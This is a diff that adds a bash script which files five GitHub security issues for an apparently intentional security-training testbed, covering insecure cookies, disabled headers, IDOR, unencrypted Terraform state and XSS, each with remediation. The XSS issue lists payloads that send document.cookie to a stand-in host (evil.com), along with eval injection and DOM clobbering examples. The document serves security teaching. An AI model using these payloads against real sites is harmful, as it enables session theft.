|
| 1 | +#!/bin/bash |
| 2 | +# Security Issues Creation Script |
| 3 | +# Run with: bash .github/create-security-issues.sh |
| 4 | + |
| 5 | +set -e |
| 6 | + |
| 7 | +echo "Creating security issues for github-security-testbed..." |
| 8 | + |
| 9 | +# Issue 1: Session cookies lack httpOnly and secure flags |
| 10 | +gh issue create \ |
| 11 | + --title "[Security] NodeGoat: Session cookies lack httpOnly and secure flags" \ |
| 12 | + --label "security,vulnerability,high-priority" \ |
| 13 | + --assignee "timothywarner" \ |
| 14 | + --body "$(cat <<'EOF' |
| 15 | +## Description |
| 16 | +
|
| 17 | +The NodeGoat application has session cookies configured without critical security flags, making them vulnerable to XSS-based session hijacking. |
| 18 | +
|
| 19 | +## Location |
| 20 | +
|
| 21 | +`NodeGoat/server.js:78-100` |
| 22 | +
|
| 23 | +## Current Code |
| 24 | +
|
| 25 | +```javascript |
| 26 | +app.use(session({ |
| 27 | + secret: cookieSecret, |
| 28 | + saveUninitialized: true, |
| 29 | + resave: true |
| 30 | + // Missing: cookie: { httpOnly: true, secure: true } |
| 31 | +})); |
| 32 | +``` |
| 33 | +
|
| 34 | +## Risk |
| 35 | +
|
| 36 | +- **Severity**: High |
| 37 | +- **OWASP**: A2:2017 - Broken Authentication |
| 38 | +- **CWE**: CWE-614 (Sensitive Cookie in HTTPS Session Without Secure Attribute) |
| 39 | +
|
| 40 | +## Remediation |
| 41 | +
|
| 42 | +Add secure cookie configuration: |
| 43 | +
|
| 44 | +```javascript |
| 45 | +cookie: { |
| 46 | + httpOnly: true, |
| 47 | + secure: true, |
| 48 | + sameSite: "strict", |
| 49 | + maxAge: 3600000 |
| 50 | +} |
| 51 | +``` |
| 52 | +
|
| 53 | +## Note |
| 54 | +
|
| 55 | +This is intentionally vulnerable for training purposes but should be documented. |
| 56 | +EOF |
| 57 | +)" |
| 58 | + |
| 59 | +echo "✓ Created issue 1: Session cookies" |
| 60 | + |
| 61 | +# Issue 2: Helmet security middleware disabled |
| 62 | +gh issue create \ |
| 63 | + --title "[Security] NodeGoat: Helmet security middleware disabled" \ |
| 64 | + --label "security,vulnerability,medium-priority" \ |
| 65 | + --assignee "timothywarner" \ |
| 66 | + --body "$(cat <<'EOF' |
| 67 | +## Description |
| 68 | +
|
| 69 | +Critical security headers are commented out in the NodeGoat server configuration, leaving the application vulnerable to clickjacking, MIME sniffing, and other attacks. |
| 70 | +
|
| 71 | +## Location |
| 72 | +
|
| 73 | +`NodeGoat/server.js:38-65` |
| 74 | +
|
| 75 | +## Disabled Security Headers |
| 76 | +
|
| 77 | +- `helmet.frameguard()` - Clickjacking protection |
| 78 | +- `helmet.noCache()` - Cache poisoning protection |
| 79 | +- `helmet.contentSecurityPolicy()` - XSS mitigation |
| 80 | +- `helmet.hsts()` - HTTPS enforcement |
| 81 | +- `nosniff()` - MIME type sniffing protection |
| 82 | +
|
| 83 | +## Current Code |
| 84 | +
|
| 85 | +```javascript |
| 86 | +/* |
| 87 | +// Fix for A5 - Security MisConfig |
| 88 | +app.disable("x-powered-by"); |
| 89 | +app.use(helmet.frameguard()); |
| 90 | +app.use(helmet.noCache()); |
| 91 | +app.use(helmet.contentSecurityPolicy()); |
| 92 | +app.use(helmet.hsts()); |
| 93 | +app.use(nosniff()); |
| 94 | +*/ |
| 95 | +``` |
| 96 | +
|
| 97 | +## Risk |
| 98 | +
|
| 99 | +- **Severity**: Medium |
| 100 | +- **OWASP**: A6:2017 - Security Misconfiguration |
| 101 | +- **CWE**: CWE-693 (Protection Mechanism Failure) |
| 102 | +
|
| 103 | +## Remediation |
| 104 | +
|
| 105 | +Uncomment and enable helmet middleware with appropriate configuration for the training environment. |
| 106 | +EOF |
| 107 | +)" |
| 108 | + |
| 109 | +echo "✓ Created issue 2: Helmet middleware" |
| 110 | + |
| 111 | +# Issue 3: IDOR vulnerability in document API |
| 112 | +gh issue create \ |
| 113 | + --title "[Security] IDOR vulnerability in document API allows unauthorized access" \ |
| 114 | + --label "security,vulnerability,high-priority" \ |
| 115 | + --assignee "timothywarner" \ |
| 116 | + --body "$(cat <<'EOF' |
| 117 | +## Description |
| 118 | +
|
| 119 | +The IDOR demo application lacks proper authorization checks, allowing users to access documents belonging to other tenants by manipulating document IDs. |
| 120 | +
|
| 121 | +## Location |
| 122 | +
|
| 123 | +`lesson-01/demo-04-custom-scanners/idor-app/api/documents.js` |
| 124 | +
|
| 125 | +## Attack Vector |
| 126 | +
|
| 127 | +```bash |
| 128 | +# Authenticated as user1, can access user2's documents |
| 129 | +GET /api/documents/user2-doc-id |
| 130 | +Authorization: Bearer <user1-token> |
| 131 | +``` |
| 132 | +
|
| 133 | +## Risk |
| 134 | +
|
| 135 | +- **Severity**: High |
| 136 | +- **OWASP**: A1:2017 - Broken Access Control |
| 137 | +- **CWE**: CWE-639 (Authorization Bypass Through User-Controlled Key) |
| 138 | +
|
| 139 | +## Impact |
| 140 | +
|
| 141 | +- Unauthorized access to sensitive documents |
| 142 | +- Data breach across tenant boundaries |
| 143 | +- Potential for mass data exfiltration via ID enumeration |
| 144 | +
|
| 145 | +## Remediation |
| 146 | +
|
| 147 | +Add authorization middleware to verify document ownership: |
| 148 | +
|
| 149 | +```javascript |
| 150 | +const authorizeDocumentAccess = async (req, res, next) => { |
| 151 | + const doc = await Document.findById(req.params.id); |
| 152 | + if (doc.ownerId !== req.user.id) { |
| 153 | + return res.status(403).json({ error: 'Access denied' }); |
| 154 | + } |
| 155 | + next(); |
| 156 | +}; |
| 157 | +``` |
| 158 | +
|
| 159 | +## Note |
| 160 | +
|
| 161 | +This is intentionally vulnerable for training. Add documentation warning and ensure it's not accidentally deployed. |
| 162 | +EOF |
| 163 | +)" |
| 164 | + |
| 165 | +echo "✓ Created issue 3: IDOR vulnerability" |
| 166 | + |
| 167 | +# Issue 4: Terraform state encryption |
| 168 | +gh issue create \ |
| 169 | + --title "[Security] Terraform state may contain sensitive data without encryption" \ |
| 170 | + --label "security,infrastructure,medium-priority" \ |
| 171 | + --assignee "timothywarner" \ |
| 172 | + --body "$(cat <<'EOF' |
| 173 | +## Description |
| 174 | +
|
| 175 | +The Terraform configuration in lesson-02 does not configure remote state with encryption, potentially exposing infrastructure secrets if state files are stored remotely. |
| 176 | +
|
| 177 | +## Location |
| 178 | +
|
| 179 | +`lesson-02/demo-04-zero-trust/terraform/main.tf` |
| 180 | +
|
| 181 | +## Missing Configuration |
| 182 | +
|
| 183 | +The Terraform configuration lacks a backend block with encryption settings: |
| 184 | +
|
| 185 | +```hcl |
| 186 | +terraform { |
| 187 | + required_version = ">= 1.0.0" |
| 188 | + # Missing: backend with encryption |
| 189 | +} |
| 190 | +``` |
| 191 | +
|
| 192 | +## Risk |
| 193 | +
|
| 194 | +- **Severity**: Medium |
| 195 | +- **CWE**: CWE-312 (Cleartext Storage of Sensitive Information) |
| 196 | +
|
| 197 | +## Sensitive Data at Risk |
| 198 | +
|
| 199 | +Terraform state files may contain: |
| 200 | +- Database passwords |
| 201 | +- API keys |
| 202 | +- Private IP addresses |
| 203 | +- Resource ARNs and IDs |
| 204 | +
|
| 205 | +## Remediation |
| 206 | +
|
| 207 | +Add backend configuration with encryption: |
| 208 | +
|
| 209 | +```hcl |
| 210 | +terraform { |
| 211 | + backend "s3" { |
| 212 | + bucket = "terraform-state-bucket" |
| 213 | + key = "zero-trust/terraform.tfstate" |
| 214 | + region = "us-east-1" |
| 215 | + encrypt = true |
| 216 | + kms_key_id = "alias/terraform-state-key" |
| 217 | + dynamodb_table = "terraform-locks" |
| 218 | + } |
| 219 | +} |
| 220 | +``` |
| 221 | +
|
| 222 | +## Note |
| 223 | +
|
| 224 | +For training purposes, consider adding this as a "secure vs insecure" comparison in the lesson materials. |
| 225 | +EOF |
| 226 | +)" |
| 227 | + |
| 228 | +echo "✓ Created issue 4: Terraform state" |
| 229 | + |
| 230 | +# Issue 5: XSS vulnerabilities via eval() and innerHTML |
| 231 | +gh issue create \ |
| 232 | + --title "[Security] Critical XSS vulnerabilities via eval() and innerHTML in demo code" \ |
| 233 | + --label "security,vulnerability,critical" \ |
| 234 | + --assignee "timothywarner" \ |
| 235 | + --body "$(cat <<'EOF' |
| 236 | +## Description |
| 237 | +
|
| 238 | +The vulnerable React demo contains multiple XSS attack vectors including `eval()`, `innerHTML`, and `document.write()` that execute arbitrary JavaScript. |
| 239 | +
|
| 240 | +## Locations |
| 241 | +
|
| 242 | +`lesson-01/demo-03-xss/vulnerable-react-app/UserProfile.jsx`: |
| 243 | +
|
| 244 | +| Line | Vulnerability | Function | |
| 245 | +|------|--------------|----------| |
| 246 | +| 58 | `innerHTML` assignment | `bioRef.current.innerHTML = bio` | |
| 247 | +| 127 | `innerHTML` injection | `getElementById('search-results').innerHTML` | |
| 248 | +| 156 | `eval()` code injection | `return eval(calculation)` | |
| 249 | +| 165 | `document.write()` | `document.write(template)` | |
| 250 | +
|
| 251 | +## Attack Payloads |
| 252 | +
|
| 253 | +```javascript |
| 254 | +// XSS via bio field |
| 255 | +<img src=x onerror="alert(document.cookie)"> |
| 256 | +<svg onload="fetch('https://evil.com?c='+document.cookie)"> |
| 257 | +
|
| 258 | +// Code injection via calculator |
| 259 | +1+1; fetch('https://evil.com?c='+document.cookie) |
| 260 | +1; document.location='https://evil.com?c='+document.cookie |
| 261 | +
|
| 262 | +// DOM clobbering + XSS |
| 263 | +<form id="search-results"><input name="innerHTML"></form> |
| 264 | +``` |
| 265 | +
|
| 266 | +## Risk |
| 267 | +
|
| 268 | +- **Severity**: Critical |
| 269 | +- **OWASP**: A7:2017 - Cross-Site Scripting (XSS) |
| 270 | +- **CWE**: CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| 271 | +
|
| 272 | +## Impact |
| 273 | +
|
| 274 | +- Session hijacking via cookie theft |
| 275 | +- Keylogging and credential theft |
| 276 | +- Defacement and phishing |
| 277 | +- Malware distribution |
| 278 | +
|
| 279 | +## Remediation |
| 280 | +
|
| 281 | +See `lesson-01/demo-03-xss/secure-react-app/UserProfile.jsx` for the secure implementation using: |
| 282 | +- DOMPurify for HTML sanitization |
| 283 | +- `textContent` instead of `innerHTML` |
| 284 | +- Safe math parsing instead of `eval()` |
| 285 | +- React's built-in XSS protection |
| 286 | +
|
| 287 | +## Note |
| 288 | +
|
| 289 | +This is the intentionally vulnerable version for training. Ensure clear labeling and never deploy to production environments. |
| 290 | +EOF |
| 291 | +)" |
| 292 | + |
| 293 | +echo "✓ Created issue 5: XSS vulnerabilities" |
| 294 | + |
| 295 | +echo "" |
| 296 | +echo "✅ All 5 security issues created successfully!" |
| 297 | +echo "View at: https://github.com/timothywarner-org/github-security-testbed/issues" |
0 commit comments